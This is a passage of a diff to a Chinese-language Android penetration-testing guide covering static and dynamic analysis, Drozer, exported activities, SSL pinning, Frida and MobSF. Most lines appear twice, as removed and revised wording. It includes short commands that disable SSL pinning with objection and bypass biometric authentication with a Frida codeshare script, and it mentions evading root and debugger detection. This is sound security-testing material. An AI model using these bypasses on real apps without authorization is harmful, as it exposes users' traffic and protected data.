算法。该博客讨论了创建一个可以解压这些类型应用程序的应用程序的可能性……以及一种更快的方法,即 **执行应用程序并从文件系统中收集解压缩的文件。** +根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些类型应用程序的应用程序的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压的文件。** ### 自动化静态代码分析 -工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过 **扫描** 应用程序的 **代码** 来发现 **漏洞**。该工具包含一系列 **已知源**(指示工具 **用户控制的输入** 的 **位置**)、**汇**(指示工具 **危险** **位置**,恶意用户输入可能造成损害)和 **规则**。这些规则指示 **源-汇** 的 **组合**,表明存在漏洞。 +工具 [**mariana-trench**](https://github.com/facebook/mariana-trench) 能够通过**扫描**应用程序的**代码**来发现**漏洞**。该工具包含一系列**已知源**(指示工具**用户控制的输入**的**位置**)、**汇**(指示工具**危险**的**位置**,恶意用户输入可能造成损害)和**规则**。这些规则指示**源-汇**的**组合**,表明存在漏洞。 通过这些知识,**mariana-trench 将审查代码并找到可能的漏洞**。 @@ -206,10 +210,10 @@ bypass-biometric-authentication-android.md ### 其他有趣的功能 -- **代码执行**: `Runtime.exec(), ProcessBuilder(), native code:system()` -- **发送短信**: `sendTextMessage, sendMultipartTestMessage` -- **声明为 `native` 的本地函数**: `public native, System.loadLibrary, System.load` -- [阅读此文以了解 **如何反向工程本地函数**](reversing-native-libraries.md) +- **代码执行**:`Runtime.exec(), ProcessBuilder(), native code:system()` +- **发送短信**:`sendTextMessage, sendMultipartTestMessage` +- **声明为 `native` 的本地函数**:`public native, System.loadLibrary, System.load` +- [阅读此文以了解**如何反向工程本地函数**](reversing-native-libraries.md) ### **其他技巧** @@ -227,96 +231,96 @@ content-protocol.md ### 在线动态分析 -您可以在 [https://appetize.io/](https://appetize.io) 创建一个 **免费账户**。该平台允许您 **上传** 和 **执行** APK,因此它对于查看 APK 的行为非常有用。 +您可以在 [https://appetize.io/](https://appetize.io) 创建一个**免费账户**。该平台允许您**上传**和**执行** APK,因此它对于查看 APK 的行为非常有用。 -您甚至可以在网页上 **查看应用程序的日志** 并通过 **adb** 连接。 +您甚至可以在网页上**查看应用程序的日志**并通过**adb**连接。 ![](<../../images/image (831).png>) -通过 ADB 连接,您可以在模拟器中使用 **Drozer** 和 **Frida**。 +通过 ADB 连接,您可以在模拟器中使用**Drozer**和**Frida**。 ### 本地动态分析 #### 使用模拟器 -- [**Android Studio**](https://developer.android.com/studio)(您可以创建 **x86** 和 **arm** 设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本 **支持 ARM 库**,无需慢速的 arm 模拟器)。 +- [**Android Studio**](https://developer.android.com/studio)(您可以创建**x86**和**arm**设备,并且根据 [**此**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**最新的 x86** 版本**支持 ARM 库**,无需慢速的 arm 模拟器)。 - 学习如何在此页面上设置: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议 **下载** 带有 _**VirtualBox** 的版本,以避免潜在错误。_) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本,以避免潜在错误。_) - [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。 > [!TIP] > 创建新模拟器时,请记住,屏幕越大,模拟器运行越慢。因此,如果可能,请选择小屏幕。 -要在 Genymotion 中 **安装 Google 服务**(如 AppStore),您需要单击以下图像中红色标记的按钮: +要在 Genymotion 中**安装 Google 服务**(如 AppStore),您需要单击以下图像中红色标记的按钮: ![](<../../images/image (277).png>) -此外,请注意在 **Genymotion 中的 Android VM 配置**中,您可以选择 **桥接网络模式**(如果您将从不同的 VM 连接到 Android VM,这将非常有用)。 +此外,请注意在 Genymotion 的**Android VM 配置中**,您可以选择**桥接网络模式**(如果您将从不同的 VM 连接到 Android VM,这将非常有用)。 #### 使用物理设备 -您需要激活 **调试** 选项,如果您能 **root** 它,那就更好了: +您需要激活**调试**选项,如果您能**root**它,那就更好了: 1. **设置**。 -2. (从 Android 8.0 开始)选择 **系统**。 -3. 选择 **关于手机**。 -4. 按 **构建号** 7 次。 -5. 返回,您将找到 **开发者选项**。 +2. (从 Android 8.0 开始)选择**系统**。 +3. 选择**关于手机**。 +4. 按**构建号** 7 次。 +5. 返回,您将找到**开发者选项**。 > 一旦您安装了应用程序,您首先应该尝试它并调查它的功能、工作原理,并与之熟悉。\ -> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获** 大量 **有趣的** **数据** 供您稍后查看的同时 **了解应用程序的工作原理**。 +> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析,这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**,您可以稍后查看这些数据。 ### 意外数据泄露 **日志记录** -开发人员应谨慎公开 **调试信息**,因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 来监控应用程序日志,以识别和保护敏感信息。**Pidcat** 因其易用性和可读性而受到青睐。 +开发人员应谨慎公开**调试信息**,因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志,以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。 > [!WARNING] -> 请注意,从 **Android 4.0 及更高版本** 开始,**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\ -> 无论如何,仍然建议 **不要记录敏感信息**。 +> 请注意,从**Android 4.0 及更高版本**开始,**应用程序只能访问自己的日志**。因此,应用程序无法访问其他应用的日志。\ +> 无论如何,仍然建议**不要记录敏感信息**。 **复制/粘贴缓冲区缓存** -Android 的 **基于剪贴板** 的框架使应用程序能够实现复制粘贴功能,但也带来了风险,因为 **其他应用程序** 可以 **访问** 剪贴板,可能会暴露敏感数据。对于应用程序的敏感部分(如信用卡详细信息),至关重要的是 **禁用复制/粘贴** 功能,以防止数据泄露。 +Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴功能,但也带来了风险,因为**其他应用程序**可以**访问**剪贴板,可能会暴露敏感数据。对于应用程序的敏感部分(如信用卡详细信息),至关重要的是**禁用复制/粘贴**功能,以防止数据泄露。 **崩溃日志** -如果应用程序 **崩溃** 并 **保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。 +如果应用程序**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。 作为渗透测试者,**请查看这些日志**。 **发送给第三方的分析数据** -应用程序通常集成像 Google Adsense 这样的服务,这可能由于开发人员的不当实现而 **泄露敏感数据**。为了识别潜在的数据泄露,建议 **拦截应用程序的流量** 并检查是否有任何敏感信息被发送到第三方服务。 +应用程序通常集成像 Google Adsense 这样的服务,由于开发人员的不当实施,可能会**泄露敏感数据**。为了识别潜在的数据泄露,建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。 ### SQLite 数据库 -大多数应用程序将使用 **内部 SQLite 数据库** 来保存信息。在渗透测试期间,请 **查看** 创建的 **数据库**、**表** 和 **列** 的名称以及所有保存的 **数据**,因为您可能会发现 **敏感信息**(这将是一个漏洞)。\ +大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为您可能会发现**敏感信息**(这将是一个漏洞)。\ 数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases` -如果数据库保存机密信息并且 **加密** 但您可以在应用程序中 **找到** **密码**,这仍然是一个 **漏洞**。 +如果数据库保存机密信息并且**加密**,但您可以在应用程序中**找到****密码**,这仍然是一个**漏洞**。 使用 `.tables` 枚举表,使用 `.schema ` 枚举表的列。 ### Drozer(利用活动、内容提供者和服务) -来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许您 **假设 Android 应用程序的角色** 并与其他应用程序交互。它可以做 **任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\ -Drozer 是一个有用的工具,可以 **利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。 +来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许您**假设 Android 应用程序的角色**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\ +Drozer 是一个有用的工具,可以**利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。 ### 利用导出活动 [**如果您想刷新 Android 活动的概念,请阅读此文。**](android-applications-basics.md#launcher-activity-and-other-activities)\ -还要记住,活动的代码从 **`onCreate`** 方法开始。 +还要记住,活动的代码从**`onCreate`**方法开始。 **授权绕过** -当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含 **敏感信息** 的活动被 **导出**,您可以 **绕过** **身份验证** 机制 **以访问它**。 +当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含**敏感信息**的活动被**导出**,您可以**绕过**访问它的**身份验证**机制。 [**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities) @@ -338,7 +342,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -如果未防止tapjacking,您可能会滥用导出活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。 +如果未防止tapjacking,您可能会滥用导出的活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。 ### 利用内容提供者 - 访问和操纵敏感信息 @@ -399,7 +403,7 @@ _请注意,您可以**省略包名**,手机将自动调用应该打开该链 ### 传输层检查和验证失败 - **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。 -- **SSL/TLS 握手期间的协商有时很弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。 +- **SSL/TLS 握手期间的协商有时较弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。 - **私密信息泄露**是一个风险,当应用程序通过安全通道进行身份验证,但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据,例如会话 cookie 或用户详细信息,免受恶意实体的拦截。 #### 证书验证 @@ -412,7 +416,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在 #### 流量检查 -要检查 HTTP 流量,必须**安装代理工具的证书**(例如,Burp)。如果不安装此证书,经过代理的加密流量可能不可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。 +要检查 HTTP 流量,必须**安装代理工具的证书**(例如,Burp)。如果不安装此证书,加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。 针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。 @@ -426,7 +430,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在 - 您可以使用**Frida**(下面讨论)来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - 您还可以尝试使用**MobSF 动态分析**(下面解释)**自动绕过 SSL 钉扎** -- 如果您仍然认为有一些流量没有被捕获,您可以尝试**使用 iptables 将流量转发到 burp**。阅读此博客:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- 如果您仍然认为有一些流量未被捕获,您可以尝试**使用 iptables 将流量转发到 burp**。阅读此博客:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### 寻找常见的网络漏洞 @@ -440,7 +444,7 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在 - 学习如何使用 Frida:[**Frida 教程**](frida-tutorial/index.html) - 一些与 Frida 相关的“GUI”操作:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection)**,**[**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) - 您可以在这里找到一些很棒的 Frida 脚本:[**https://codeshare.frida.re/**](https://codeshare.frida.re) - 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs)) @@ -473,25 +477,25 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` ### **指纹/生物识别绕过** -使用以下 Frida 脚本,可以 **绕过指纹认证**,Android 应用可能会执行此操作以 **保护某些敏感区域:** +使用以下 Frida 脚本,可能可以 **绕过指纹认证** Android 应用程序可能正在执行的,以 **保护某些敏感区域:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **背景图像** -当您将应用程序置于后台时,Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序之前开始加载图像,看起来像是应用程序加载得更快。 +当您将应用程序置于后台时,Android 会存储应用程序的 **快照**,这样当它恢复到前台时,它会在应用程序之前开始加载图像,因此看起来应用程序加载得更快。 然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。 快照通常存储在: **`/data/system_ce/0/snapshots`** -Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志后,窗口内容被视为安全,防止其出现在屏幕截图中或在不安全的显示器上查看。 +Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志后,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。 ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` ### **Android 应用分析器** -此工具可以帮助您在动态分析期间管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) +此工具可以帮助您在动态分析过程中管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer) ### 意图注入 @@ -504,7 +508,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); - **意图注入** 类似于网络的开放重定向问题。 - 利用涉及将 `Intent` 对象作为额外参数传递,这可能被重定向以执行不安全的操作。 - 它可以将未导出的组件和内容提供者暴露给攻击者。 -- `WebView` 的 URL 到 `Intent` 的转换可能促进意外操作。 +- `WebView` 的 URL 到 `Intent` 转换可以促进意外操作。 ### Android 客户端侧注入及其他 @@ -513,7 +517,7 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); - **SQL 注入:** 在处理动态查询或内容提供者时,确保使用参数化查询。 - **JavaScript 注入 (XSS):** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用(默认情况下禁用)。 [更多信息在这里](webview-attacks.md#javascript-enabled)。 - **本地文件包含:** WebViews 应禁用对文件系统的访问(默认情况下启用) - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。 -- **持久性 Cookie:** 在多个情况下,当 Android 应用结束会话时,Cookie 不会被撤销,甚至可能被保存到磁盘。 +- **持久性 Cookie:** 在多个情况下,当 Android 应用结束会话时,Cookie 并未被撤销,甚至可能被保存到磁盘。 - [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -534,7 +538,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest 注意,MobSF 可以分析 **Android**(apk)**、IOS**(ipa) **和 Windows**(apx) 应用程序(_Windows 应用程序必须从安装在 Windows 主机上的 MobSF 进行分析_)。\ 此外,如果您创建一个包含 **Android** 或 **IOS** 应用程序源代码的 **ZIP** 文件(转到应用程序的根文件夹,选择所有内容并创建一个 ZIP 文件),它也能够分析它。 -MobSF 还允许您进行 **diff/比较** 分析并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。 +MobSF 还允许您进行 **diff/比较** 分析,并集成 **VirusTotal**(您需要在 _MobSF/settings.py_ 中设置您的 API 密钥并启用它:`VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`)。您还可以将 `VT_UPLOAD` 设置为 `False`,这样 **hash** 将被 **上传** 而不是文件。 ### 使用 MobSF 进行辅助动态分析 @@ -552,7 +556,7 @@ MobSF 还允许您进行 **diff/比较** 分析并集成 **VirusTotal**(您需 默认情况下,它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**根检测** 和 **调试器检测**,并 **监控有趣的 API**。\ MobSF 还可以 **调用导出活动**,抓取它们的 **屏幕截图** 并 **保存** 到报告中。 -要 **开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(在按下“开始仪器化”后会出现)。\ +要 **开始** 动态测试,请按绿色按钮:“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志,按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值(这将在按下“开始仪器化”后出现)。\ MobSF 还允许您加载自己的 **Frida 脚本**(要将您的 Frida 脚本的结果发送到 MobSF,请使用 `send()` 函数)。它还具有 **多个预编写的脚本**,您可以加载(您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多),只需 **选择它们**,按“**加载**”并按“**开始仪器化**”(您将能够在“**Frida 实时日志**”中看到该脚本的日志)。 ![](<../../images/image (419).png>) @@ -581,8 +585,8 @@ receivers ``` **HTTP工具** -当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送** **捕获的请求**到**代理**,如Burp或Owasp ZAP。\ -为此,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 +当http流量被捕获时,您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图,或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中,您可以**发送**捕获的**请求**到**代理**如Burp或Owasp ZAP。\ +要做到这一点,_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。 完成MobSF的动态分析后,您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。 @@ -640,7 +644,7 @@ super-analyzer {apk_file} StaCoAn 是一个 **跨平台** 工具,帮助开发者、漏洞赏金猎人和道德黑客对移动应用程序进行 [静态代码分析](https://en.wikipedia.org/wiki/Static_program_analysis)。 -其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序中,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。 +其概念是将您的移动应用程序文件(.apk 或 .ipa 文件)拖放到 StaCoAn 应用程序上,它将为您生成一个可视化和便携的报告。您可以调整设置和词汇表,以获得定制的体验。 下载 [最新版本](https://github.com/vincentcox/StaCoAn/releases): ```